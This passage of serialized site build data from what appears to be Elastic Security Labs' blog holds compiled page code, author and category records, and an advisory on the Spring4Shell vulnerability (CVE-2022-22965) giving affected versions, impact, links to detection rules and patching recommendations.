repo\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/maxpl0it/CVE-2020-1350-DoS\",rel:\"nofollow\",children:\"Maxpl0it - CVE-2020-1350 (SIGRed) - Windows DNS DoS Exploit\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://isc.sans.edu/forums/diary/PATCH+NOW+SIGRed+CVE20201350+Microsoft+DNS+Server+Vulnerability/26356/\",rel:\"nofollow\",children:\"SANS Internet Storm Center - PATCH NOW - SIGRed - CVE-2020-1350 - Microsoft DNS Server Vulnerability\"})}),`\n`]})]})}function S(n={}){let{wrapper:e}=n.components||{};return e?(0,i.jsx)(e,Object.assign({},n,{children:(0,i.jsx)(d,n)})):d(n)}var k=S;return b(x);})();\n;return Component;"},"_id":"articles/detection-rules-for-sigred-vulnerability.mdx","_raw":{"sourceFilePath":"articles/detection-rules-for-sigred-vulnerability.mdx","sourceFileName":"detection-rules-for-sigred-vulnerability.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/detection-rules-for-sigred-vulnerability"},"type":"Article","imageUrl":"/assets/images/detection-rules-for-sigred-vulnerability/blog-thumb-security-laptop.png","readingTime":"5 min read","series":"","url":"/detection-rules-for-sigred-vulnerability","headings":[{"level":2,"title":"Executive summary","href":"#executive-summary"},{"level":3,"title":"Summary","href":"#summary"},{"level":3,"title":"Timeline of events","href":"#timeline-of-events"},{"level":2,"title":"Impact","href":"#impact"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques","href":"#techniques"},{"level":2,"title":"Detection","href":"#detection"},{"level":3,"title":"Detection logic","href":"#detection-logic"},{"level":3,"title":"Unusual child of dns.exe - Kibana Query Language (KQL)","href":"#unusual-child-of-dnsexe---kibana-query-language-kql"},{"level":3,"title":"Unusual file operations of dns.exe (KQL)","href":"#unusual-file-operations-of-dnsexe-kql"},{"level":3,"title":"Network (Packetbeat and Filebeat with the Zeek or Suricata modules)","href":"#network-packetbeat-and-filebeat-with-the-zeek-or-suricata-modules"},{"level":2,"title":"Defensive recommendations","href":"#defensive-recommendations"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Seth Goodwin","slug":"seth-goodwin","description":"Elastic Security Labs Team Senior Research Engineer, Intelligence","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),h=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},a=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026i(t,o,{get:()=\u003ee[o],enumerable:!(s=l(e,o))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?g(d(t)):{},a(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var b={};h(b,{default:()=\u003eS,frontmatter:()=\u003ew});var r=j(u()),w={title:\"Seth Goodwin\",description:\"Elastic Security Labs Team Senior Research Engineer, Intelligence\",slug:\"seth-goodwin\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var S=M;return p(b);})();\n;return Component;"},"_id":"authors/seth-goodwin.mdx","_raw":{"sourceFilePath":"authors/seth-goodwin.mdx","sourceFileName":"seth-goodwin.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/seth-goodwin"},"type":"Author","imageUrl":"","url":"/authors/seth-goodwin"},{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Justin Ibarra","slug":"justin-ibarra","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var o=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var j=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var l=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),b=(t,n)=\u003e{for(var r in n)o(t,r,{get:n[r],enumerable:!0})},i=(t,n,r,s)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let a of j(n))!g.call(t,a)\u0026\u0026a!==r\u0026\u0026o(t,a,{get:()=\u003en[a],enumerable:!(s=f(n,a))||s.enumerable});return t};var d=(t,n,r)=\u003e(r=t!=null?x(_(t)):{},i(n||!t||!t.__esModule?o(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ei(o({},\"__esModule\",{value:!0}),t);var c=l((h,u)=\u003e{u.exports=_jsx_runtime});var F={};b(F,{default:()=\u003eD,frontmatter:()=\u003eM});var e=d(c()),M={title:\"Justin Ibarra\",slug:\"justin-ibarra\"};function m(t){return(0,e.jsx)(e.Fragment,{})}function C(t={}){let{wrapper:n}=t.components||{};return n?(0,e.jsx)(n,Object.assign({},t,{children:(0,e.jsx)(m,t)})):m(t)}var D=C;return p(F);})();\n;return Component;"},"_id":"authors/justin-ibarra.mdx","_raw":{"sourceFilePath":"authors/justin-ibarra.mdx","sourceFileName":"justin-ibarra.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/justin-ibarra"},"type":"Author","imageUrl":"","url":"/authors/justin-ibarra"},{"title":"Andrew Pease","slug":"andrew-pease","description":"Elastic Security Labs Technical Lead","image":"andrew-pease.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var f=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of x(t))!l.call(e,a)\u0026\u0026a!==n\u0026\u0026s(e,a,{get:()=\u003et[a],enumerable:!(o=p(t,a))||o.enumerable});return e};var _=(e,t,n)=\u003e(n=e!=null?m(g(e)):{},c(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),w=e=\u003ec(s({},\"__esModule\",{value:!0}),e);var u=f((C,i)=\u003e{i.exports=_jsx_runtime});var h={};j(h,{default:()=\u003eb,frontmatter:()=\u003eL});var r=_(u()),L={title:\"Andrew Pease\",description:\"Elastic Security Labs Technical Lead\",slug:\"andrew-pease\",image:\"andrew-pease.jpg\"};function d(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(d,e)})):d(e)}var b=M;return w(h);})();\n;return Component;"},"_id":"authors/andrew-pease.mdx","_raw":{"sourceFilePath":"authors/andrew-pease.mdx","sourceFileName":"andrew-pease.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/andrew-pease"},"type":"Author","imageUrl":"/assets/images/authors/andrew-pease.jpg","url":"/authors/andrew-pease"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Vulnerability updates","slug":"vulnerability-updates","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of d(e))!p.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},u(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003eu(o({},\"__esModule\",{value:!0}),t);var c=_((X,i)=\u003e{i.exports=_jsx_runtime});var D={};g(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=j(c()),y={title:\"Vulnerability updates\",slug:\"vulnerability-updates\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=M;return b(D);})();\n;return Component;"},"_id":"categories/vulnerability-updates.mdx","_raw":{"sourceFilePath":"categories/vulnerability-updates.mdx","sourceFileName":"vulnerability-updates.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/vulnerability-updates"},"type":"Category","url":"/categories/vulnerability-updates"}]},{"title":"Elastic's response to the Spring4Shell vulnerability (CVE-2022-22965)","slug":"elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965","date":"2022-11-22","description":"Provide executive-level details about CVE-2022-22965, a recently-disclosed remote code execution (RCE) vulnerability also known as “Spring4Shell”.","image":"thumbnail-security-logos-lock.png","body":{"raw":"\nOn March 29, 2022 a vulnerability in the [Spring framework](https://spring.io/projects/spring-framework) was [disclosed](https://tanzu.vmware.com/security/cve-2022-22965) to the public by VMware. This vulnerability had several prerequisites affecting impact:\n\n- Spring framework versions 5.3.0-5.3.17, 5.2.0-5.2.19, potentially software versions prior to 5.2.x\n- An application running as a Spring MVX or WebFlux object\n- Apache Tomcat as the container for that application\n- The application packaged as a Web Application Resource (WAR)\n\nSpecifically, this vulnerability targets the ClassLoader() class, though similar undiscovered vulnerabilities in other classes are likely. A URI parameter can be passed to Tomcat as part of a standard web request to exploit this vulnerability.\n\n## What is the threat?\n\nCVE-2022-22965 is a vulnerability that may affect systems on which the Spring Framework has been installed, and which expose Spring MVC or WebFlux applications running on JDK 9 or later. The exploit associated with this vulnerability requires Apache Tomcat, and that applications are deployed as Web Application Resources (WARs) — but enterprises should consider that other methods of exploitation are also possible.\n\n## What is the impact?\n\nIf successfully exploited, the Spring4Shell vulnerability may permit an adversary to execute arbitrary code (including malware) in the context of the web server. Because specific software, versions, and configurations are required as prerequisites, enterprises should expect a less impact than a vulnerability like [Log4Shell](https://www.elastic.co/blog/analysis-of-log4shell-cve-2021-45046). While Spring4Shell has more specific prerequisites to cause impact, Elastic Security still recommends [following official guidance](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement) regarding patching and upgrading.\n\n## Leveraging Elastic for exploit detection\n\nPrebuilt protections that generically identify aspects of successful exploitation already exist in community-facing repositories:\n\n- [Webshell Detection: Script Process Child of Common Web Processes](https://github.com/elastic/detection-rules/blob/6bdfddac8edea5e327bf28aed7e6dc4a7f701dc6/rules/windows/persistence_webshell_detection.toml)\n- [Potential Shell via Web Server](https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/linux/persistence_shell_activity_by_web_server.toml)\n\nAdditionally, Elastic [provides](https://github.com/elastic/detection-rules) dozens of rules for common and uncommon post-exploitation techniques, which may appear in later stages of an intrusion attempt.\n\n### Artifacts\n\nElastic’s community-facing [detection-rules repository](https://github.com/elastic/detection-rules) contains two rules specific to webserver post-exploitation. Due to the unpredictable nature of vulnerabilities, any post-exploitation rules provided by Elastic may be helpful in detecting or understanding a Spring4Shell-related intrusion attempt. For enterprises seeking to better understand this vulnerability, consider [this](https://sholzhauer.medium.com/spring4shell-detection-and-response-elastic-946ec4f59026) excellent overview by Elastic community member Stijn Holzhauer.\n\n## Defensive recommendations\n\nEnterprises should follow guidance provided by Spring in their [official disclosure announcement](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement), and seek to patch or upgrade the Spring framework. Additionally, for those who may not be able to address the vulnerability in Spring, a patch has also been released to close this vulnerability in Apache Tomcat (minimum versions 10.0.20, 9.0.62, 8.5.78). Further, it is possible to configure disallowedFields to neutralize vulnerabilities related to data binding abuses.\n\n## References\n\n- [Spring Framework RCE, Early Announcement](https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement)\n- [CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+](https://tanzu.vmware.com/security/cve-2022-22965)\n- [Using the Elastic stack to detect potential malicious requests and explore exposure to the RCE flaw in the Java Spring Framework.](https://sholzhauer.medium.com/spring4shell-detection-and-response-elastic-946ec4f59026)\n\n**Not already using Elastic Security? You can always get started with a [free 14-day trial](https://cloud.elastic.co/registration) of Elastic Cloud.**\n","code":"var Component=(()=\u003e{var d=Object.create;var l=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var u=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,m=Object.prototype.hasOwnProperty;var g=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),b=(t,e)=\u003e{for(var n in e)l(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let r of u(e))!m.call(t,r)\u0026\u0026r!==n\u0026\u0026l(t,r,{get:()=\u003ee[r],enumerable:!(a=p(e,r))||a.enumerable});return t};var y=(t,e,n)=\u003e(n=t!=null?d(f(t)):{},o(e||!t||!t.__esModule?l(n,\"default\",{value:t,enumerable:!0}):n,t)),w=t=\u003eo(l({},\"__esModule\",{value:!0}),t);var c=g((C,s)=\u003e{s.exports=_jsx_runtime});var k={};b(k,{default:()=\u003eS,frontmatter:()=\u003ev});var i=y(c()),v={title:\"Elastic's response to the Spring4Shell vulnerability (CVE-2022-22965)\",slug:\"elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965\",date:\"2022-11-22\",description:\"Provide executive-level details about CVE-2022-22965, a recently-disclosed remote code execution (RCE) vulnerability also known as \\u201CSpring4Shell\\u201D.\",author:[{slug:\"devon-kerr\"}],image:\"thumbnail-security-logos-lock.png\",category:[{slug:\"security-research\"},{slug:\"vulnerability-updates\"}]};function h(t){let e=Object.assign({p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",h2:\"h2\",h3:\"h3\",strong:\"strong\"},t.components);return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(e.p,{children:[\"On March 29, 2022 a vulnerability in the \",(0,i.jsx)(e.a,{href:\"https://spring.io/projects/spring-framework\",rel:\"nofollow\",children:\"Spring framework\"}),\" was \",(0,i.jsx)(e.a,{href:\"https://tanzu.vmware.com/security/cve-2022-22965\",rel:\"nofollow\",children:\"disclosed\"}),\" to the public by VMware. This vulnerability had several prerequisites affecting impact:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Spring framework versions 5.3.0-5.3.17, 5.2.0-5.2.19, potentially software versions prior to 5.2.x\"}),`\n`,(0,i.jsx)(e.li,{children:\"An application running as a Spring MVX or WebFlux object\"}),`\n`,(0,i.jsx)(e.li,{children:\"Apache Tomcat as the container for that application\"}),`\n`,(0,i.jsx)(e.li,{children:\"The application packaged as a Web Application Resource (WAR)\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Specifically, this vulnerability targets the ClassLoader() class, though similar undiscovered vulnerabilities in other classes are likely. A URI parameter can be passed to Tomcat as part of a standard web request to exploit this vulnerability.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"what-is-the-threat\",children:\"What is the threat?\"}),`\n`,(0,i.jsx)(e.p,{children:\"CVE-2022-22965 is a vulnerability that may affect systems on which the Spring Framework has been installed, and which expose Spring MVC or WebFlux applications running on JDK 9 or later. The exploit associated with this vulnerability requires Apache Tomcat, and that applications are deployed as Web Application Resources (WARs) \\u2014 but enterprises should consider that other methods of exploitation are also possible.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"what-is-the-impact\",children:\"What is the impact?\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"If successfully exploited, the Spring4Shell vulnerability may permit an adversary to execute arbitrary code (including malware) in the context of the web server. Because specific software, versions, and configurations are required as prerequisites, enterprises should expect a less impact than a vulnerability like \",(0,i.jsx)(e.a,{href:\"https://www.elastic.co/blog/analysis-of-log4shell-cve-2021-45046\",rel:\"nofollow\",children:\"Log4Shell\"}),\". While Spring4Shell has more specific prerequisites to cause impact, Elastic Security still recommends \",(0,i.jsx)(e.a,{href:\"https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement\",rel:\"nofollow\",children:\"following official guidance\"}),\" regarding patching and upgrading.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"leveraging-elastic-for-exploit-detection\",children:\"Leveraging Elastic for exploit detection\"}),`\n`,(0,i.jsx)(e.p,{children:\"Prebuilt protections that generically identify aspects of successful exploitation already exist in community-facing repositories:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/6bdfddac8edea5e327bf28aed7e6dc4a7f701dc6/rules/windows/persistence_webshell_detection.toml\",rel:\"nofollow\",children:\"Webshell Detection: Script Process Child of Common Web Processes\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/linux/persistence_shell_activity_by_web_server.toml\",rel:\"nofollow\",children:\"Potential Shell via Web Server\"})}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Additionally, Elastic \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"provides\"}),\" dozens of rules for common and uncommon post-exploitation techniques, which may appear in later stages of an intrusion attempt.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"artifacts\",children:\"Artifacts\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic\\u2019s community-facing \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules\",rel:\"nofollow\",children:\"detection-rules repository\"}),\" contains two rules specific to webserver post-exploitation. Due to the unpredictable nature of vulnerabilities, any post-exploitation rules provided by Elastic may be helpful in detecting or understanding a Spring4Shell-related intrusion attempt. For enterprises seeking to better understand this vulnerability, consider \",(0,i.jsx)(e.a,{href:\"https://sholzhauer.medium.com/spring4shell-detection-and-response-elastic-946ec4f59026\",rel:\"nofollow\",children:\"this\"}),\" excellent overview by Elastic community member Stijn Holzhauer.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"defensive-recommendations\",children:\"Defensive recommendations\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Enterprises should follow guidance provided by Spring in their \",(0,i.jsx)(e.a,{href:\"https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement\",rel:\"nofollow\",children:\"official disclosure announcement\"}),\", and seek to patch or upgrade the Spring framework. Additionally, for those who may not be able to address the vulnerability in Spring, a patch has also been released to close this vulnerability in Apache Tomcat (minimum versions 10.0.20, 9.0.62, 8.5.78). Further, it is possible to configure disallowedFields to neutralize vulnerabilities related to data binding abuses.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement\",rel:\"nofollow\",children:\"Spring Framework RCE, Early Announcement\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://tanzu.vmware.com/security/cve-2022-22965\",rel:\"nofollow\",children:\"CVE-2022-22965: Spring Framework RCE via Data Binding on JDK 9+\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://sholzhauer.medium.com/spring4shell-detection-and-response-elastic-946ec4f59026\",rel:\"nofollow\",children:\"Using the Elastic stack to detect potential malicious requests and explore exposure to the RCE flaw in the Java Spring Framework.\"})}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsxs)(e.strong,{children:[\"Not already using Elastic Security? You can always get started with a \",(0,i.jsx)(e.a,{href:\"https://cloud.elastic.co/registration\",rel:\"nofollow\",children:\"free 14-day trial\"}),\" of Elastic Cloud.\"]})})]})}function x(t={}){let{wrapper:e}=t.components||{};return e?(0,i.jsx)(e,Object.assign({},t,{children:(0,i.jsx)(h,t)})):h(t)}var S=x;return w(k);})();\n;return Component;"},"_id":"articles/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965.mdx","_raw":{"sourceFilePath":"articles/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965.mdx","sourceFileName":"elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965"},"type":"Article","imageUrl":"/assets/images/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965/thumbnail-security-logos-lock.png","readingTime":"3 min read","series":"","url":"/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965","headings":[{"level":2,"title":"What is the threat?","href":"#what-is-the-threat"},{"level":2,"title":"What is the impact?","href":"#what-is-the-impact"},{"level":2,"title":"Leveraging Elastic for exploit detection","href":"#leveraging-elastic-for-exploit-detection"},{"level":3,"title":"Artifacts","href":"#artifacts"},{"level":2,"title":"Defensive recommendations","href":"#defensive-recommendations"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Devon Kerr","slug":"devon-kerr","description":"Elastic Security Labs Team Lead, Elastic","image":"devon-kerr.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var d=Object.create;var a=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var l=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),p=(t,e)=\u003e{for(var n in e)a(t,n,{get:e[n],enumerable:!0})},i=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of g(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026a(t,o,{get:()=\u003ee[o],enumerable:!(s=x(e,o))||s.enumerable});return t};var _=(t,e,n)=\u003e(n=t!=null?d(l(t)):{},i(e||!t||!t.__esModule?a(n,\"default\",{value:t,enumerable:!0}):n,t)),v=t=\u003ei(a({},\"__esModule\",{value:!0}),t);var m=j((y,c)=\u003e{c.exports=_jsx_runtime});var b={};p(b,{default:()=\u003eM,frontmatter:()=\u003eD});var r=_(m()),D={title:\"Devon Kerr\",description:\"Elastic Security Labs Team Lead, Elastic\",slug:\"devon-kerr\",image:\"devon-kerr.jpg\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function L(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var M=L;return v(b);})();\n;return Component;"},"_id":"authors/devon-kerr.mdx","_raw":{"sourceFilePath":"authors/devon-kerr.mdx","sourceFileName":"devon-kerr.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/devon-kerr"},"type":"Author","imageUrl":"/assets/images/authors/devon-kerr.jpg","url":"/authors/devon-kerr"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Vulnerability updates","slug":"vulnerability-updates","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var o=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var d=Object.getOwnPropertyNames;var f=Object.getPrototypeOf,p=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)o(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of d(e))!p.call(t,a)\u0026\u0026a!==n\u0026\u0026o(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(f(t)):{},u(e||!t||!t.__esModule?o(n,\"default\",{value:t,enumerable:!0}):n,t)),b=t=\u003eu(o({},\"__esModule\",{value:!0}),t);var c=_((X,i)=\u003e{i.exports=_jsx_runtime});var D={};g(D,{default:()=\u003eC,frontmatter:()=\u003ey});var r=j(c()),y={title:\"Vulnerability updates\",slug:\"vulnerability-updates\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var C=M;return b(D);})();\n;return 